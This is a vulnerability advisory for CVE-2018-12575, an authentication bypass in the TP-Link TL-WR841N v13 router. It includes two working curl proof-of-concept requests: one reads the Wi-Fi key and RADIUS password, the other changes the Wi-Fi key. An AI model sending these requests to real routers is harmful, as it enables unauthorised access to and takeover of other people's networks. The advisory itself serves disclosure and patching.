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TP-Link TL-WR841N V13 Insecure Direct Object Reference

TP-Link TL-WR841N V13 Insecure Direct Object Reference
Posted Jun 28, 2018
Authored by Tim Coen

TP-Link TL-WR841N v13 suffers from an authentication bypass vulnerability via an insecure direct object reference vulnerability.

tags | exploit, bypass
advisories | CVE-2018-12575
MD5 | 37834a9f73c3857930c4f53e9735344e

TP-Link TL-WR841N V13 Insecure Direct Object Reference

Change Mirror Download
  * Vulnerability: Broken Authentication
* Affected Software: TP-Link TL-WR841N v13
* Affected Version: 0.9.1 4.16 v0001.0 Build 171019 Rel.55346n
* Patched Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
* Risk: High
* Vendor Contacted: 05/20/2018
* Vendor Fix: Issue was independently fixed in previous version
* Public Disclosure: 06/27/2018

##### Overview

An attacker that can send HTTP requests to the router can bypass the
authentication mechanism of the web interface and thus perform arbitrary
actions.

##### CVSS

High 8.8 CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

##### Details

An unauthenticated attacker can send arbitrary requests to CGI scripts,
which allows them to perform all actions an authenticated user could
perform, as well as read out all information that an authenticated user
can read out. With default configuration, the attacker has to be in the
same local network as the router.

The issue exists because while the frontend of the web interface has a
basic authentication mechanism, requests to the CGI scripts fail to
validate the authentication cookie.

##### POC

Read out Wifi password:

curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:
http://192.168.0.1/' -H $'Content-Type: text/plain' -H $'Content-Length:
404' -H $'Connection: close' --data-binary
$'[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,19\x0d\x0aname\x0d\x0aSSID\x0d\x0aEnable\x0d\x0aX_TP_Configuration_Modified\x0d\x0abeaconType\x0d\x0aStandard\x0d\x0aWEPEncryptionLevel\x0d\x0aWEPKeyIndex\x0d\x0aBasicEncryptionModes\x0d\x0aBasicAuthenticationMode\x0d\x0aWPAEncryptionModes\x0d\x0aWPAAuthenticationMode\x0d\x0aIEEE11iEncryptionModes\x0d\x0aIEEE11iAuthenticationMode\x0d\x0aX_TP_PreSharedKey\x0d\x0aX_TP_GroupKeyUpdateInterval\x0d\x0aX_TP_RadiusServerIP\x0d\x0aX_TP_RadiusServerPort\x0d\x0aX_TP_RadiusServerPassword\x0d\x0a'
$'http://192.168.0.1/cgi?5'

Change Wifi password:

curl -i -s -k -X $'POST' -H $'Host: 192.168.0.1' -H $'Referer:
http://192.168.0.1/mainFrame.htm' -H $'Content-Length: 197' -H
$'Connection: close' --data-binary
$'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=12345678\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a'
$'http://192.168.0.1/cgi?2'

##### Solution

The issue was already fixed independently of this report in the newest
version of the firmware:

TL-WR841N(EU)_V13_180119:
https://www.tp-link.com/uk/download/TL-WR841N.html#Firmware

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75
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